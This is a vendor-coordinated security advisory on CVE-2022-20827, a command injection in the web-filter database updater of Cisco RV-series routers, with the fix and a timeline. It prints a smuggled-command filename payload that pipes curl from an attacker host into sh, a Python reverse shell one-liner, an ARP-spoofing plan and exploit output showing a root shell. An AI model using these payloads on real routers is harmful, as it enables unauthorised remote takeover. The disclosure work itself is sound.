Not all bugs are created equal. This advisory describes a vulnerability we identified when hunting for bugs to craft exploit chains for PWN2OWN 2021. Sadly, the vulnerable path is only reachable once a day so it did not match the PWN2OWN rules 🙁

The vulnerability would allow patient and suitably positioned attackers to obtain unauthenticated remote command execution on affected devices.

Affected vendor & productCisco RV160 and RV260 Series Routers
Cisco RV340 and RV345 Series Routers
Vendor Advisoryhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-mult-vuln-CbVp4SUR
Vulnerable versionRV160 and RV260 Series Routers version 1.0.01.05 to 1.0.01.08 included
RV340 and RV345 Series Routers version 1.0.03.26 to 1.0.03.27 included
Fixed versionRV160 and RV260 Series Routers version 1.0.01.09
RV340 and RV345 Series Routers version 1.0.03.28
CVE IDsCVE-2022-20827
Impact8.8 (CVSS 3.1:AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CreditQ. Kaiser, ONEKEY Research Lab

Summary

On boot if a specific file is not present and then once a day regardless of that condition, the wfapp binary (WebFilter App) checks if a new reputation database is available from brightcloud services.

The first request is this one:

POST / HTTP/1.1
Content-Type: text/html
Host: bcap15.brightcloud.com
Content-Length: 296
Connection: close

<?BrightCloud version=bcap/1.1?>
<bcap>
  <seqnum>1</seqnum>
  <encrypt-type>none</encrypt-type>
  <request>
    <method>getmd5update1mrep</method>
    <uid>PSZ25281CDE</uid>
    <productid>RV340-WB</productid>
    <oemid>Cisco</oemid>
    <md5currentmajor>0</md5currentmajor>
    <md5currentminor>0</md5currentminor>
  </request>
</bcap>
HTTP/1.1 200 OK
Content-Type: application/xml
Date: Fri, 01 Oct 2021 14:00:39 GMT
Server: Kestrel
Content-Length: 425
Connection: Close

<?BrightCloud version=bcap/1.1?>
<bcap>
  <seqnum>1</seqnum>
  <status>200</status>
  <statusmsg>OK</statusmsg>
  <response>
    <status>200</status>
    <statusmsg>OK</statusmsg>
    <filename>full_bcdb_rep_1m_7.888.bin</filename>
    <checksum>2381a9b7ea1ce3bd0c71c41891507233</checksum>
    <updateMajorVersion>7</updateMajorVersion>
    <updateMinorVersion>888</updateMinorVersion>
    <targetchecksum>2381a9b7ea1ce3bd0c71c41891507233</targetchecksum>
  </response>
</bcap>

Then, the binary tries to fetch the database from another server:

GET /full_bcdb_rep_1m_7.888.bin?uid=PSZ25281CDE&deviceid=RV340-WB&oemid=Cisco HTTP/1.1
Host: database.brightcloud.com
Connection: close

If the database is of the right format and matches the returned checksum and targetchecksum in the first response, the function at offset 0x000157fc is called. This function is not identified as such by Ghidra due to some call indirection.

This function executes a command like the following:

char cmd_buf [128];
sprintf(cmd_buf,"rm %s%s; cp %s %s; rm /tmp/%s","/mnt/webrootdb/","full_bcdb_rep_1m*", DAT_00088b58,"/mnt/webrootdb/","full_bcdb_rep_1m*");
__stream = popen(cmd_buf,"r");

DAT_00088b58 contains the filename value from the first response. We therefore have two potential ways of exploitation:

  1. a stack buffer overflow due to the insecure call to sprintf
  2. an arbitrary command injection

We went the command injection way, but we could have gone for the stack overflow as well. Except for non-executable stack, the binary was not built with compile time mitigations, as shown in ONEKEY’s ELF overview:

Exploitation Strategy

The first thing is to return our injection payload in the first response within the parameter filename:

HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.8.10
Date: Wed, 13 Oct 2021 15:33:31 GMT
Content-Type: application/xml
Content-Length: 453

<?BrightCloud version=bcap/1.1?>
<bcap>
  <seqnum>1</seqnum>
  <status>200</status>
  <statusmsg>OK</statusmsg>
  <response>
    <status>200</status>
    <statusmsg>OK</statusmsg>
    <filename>full_bcdb_rep_1m_7.888`curl${IFS}192.168.200.1|sh`.bin</filename>
    <checksum>7a09b495126b3f4ae4c11cc91a19fdf2</checksum>
    <updateMajorVersion>7</updateMajorVersion>
    <updateMinorVersion>888</updateMinorVersion>
    <targetchecksum>7a09b495126b3f4ae4c11cc91a19fdf2</targetchecksum>
  </response>
</bcap>

The wfapp client will then request the file from our malicious server, we answer with a valid WebFilter database file.

Once the file is downloaded and its checksum validated, the client will execute our arbitrary command:

This command requests a shell script from our malicious server and pipes it to sh. Our shell script is simply this:

curl -i http://192.168.200.1:8081 
HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.8.10
Date: Wed, 13 Oct 2021 15:37:27 GMT

#!/bin/sh
export RHOST="192.168.200.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

There are two ways to exploit the device: either during the device boot sequence (option 1), or during the daily call performed by wfapp (option 2).

To force the binary to immediately take the vulnerable code path on boot, files must be absent from /mnt/webrootdb. We therefore recommend you to execute a factory reset before running the on boot exploit. This way you don’t have to wait for 24 hours for the vulnerable code path to be taken.

To exploit the device on boot, the idea is to launch an ARP spoofing attack against the entire subnet and setup IP forwarding along with an iptable rule to redirect HTTP traffic to our malicious server.

This is what executing the exploit should look like:

python3 cisco_rv340_wan_boot_rce.py 192.168.1.50 4242
[+] Trying to bind to 192.168.1.50 on port 4242: Done
[+] Waiting for connections on 192.168.1.50:4242: Got connection from 192.168.1.45 on port 52012
[+] client requested brightcloud update
[+] client requested WebFilter database
[+] command injection successful. Sending reverse shell payload.
[*] Switching to interactive mode
/bin/sh: can't access tty; job control turned off


BusyBox v1.23.2 (2021-06-14 02:21:16 IST) built-in shell (ash)

/ # $ id
uid=0(root) gid=0(root)

The Fix

Cisco fixed the issue by enforcing certificate validation. Our assumption is based on this piece of code where they setup a trusted list of authorities:

This was confirmed locally with qsslcaudit, which indicated that the device no longer connects to untrusted servers.

Sadly, this fix will not protect against supply chain attacks. If attackers were to compromise database.brightcloud.com, they would still be able to exploit either the command injection or the stack overflow through sprintf, which are still present:

Key Takeaways

It’s always interesting when security features end up inserting security vulnerabilities. In this case, the insertion of BrightCloud web filtering feature in version 1.0.03.26 opened up the device for remote exploitation. Note that it’s not the first vulnerability affecting BrightCloud, Talos reported a heap buffer overflow back in 2018 affecting the BrightCloud HTTP client.

While we could not exploit this flaw during PWN2OWN 2021 due to the contest rules, we know real world attackers can be patient and won’t hesitate to wait on you. So patch your routers !

Speaking of PWN2OWN, the 2021 edition was probably the last time the Cisco RV340 made an appearance given that its end of security/vulnerability support is scheduled for October 28, 2022. This also marks the end of the overall “RV Small Business Router” line, so we’re really curious to see what ZDI will choose as a replacement target !

Personally, I’m convinced that this router series will be affected by forever days before the end of 2022. Just take our word for it.

Timeline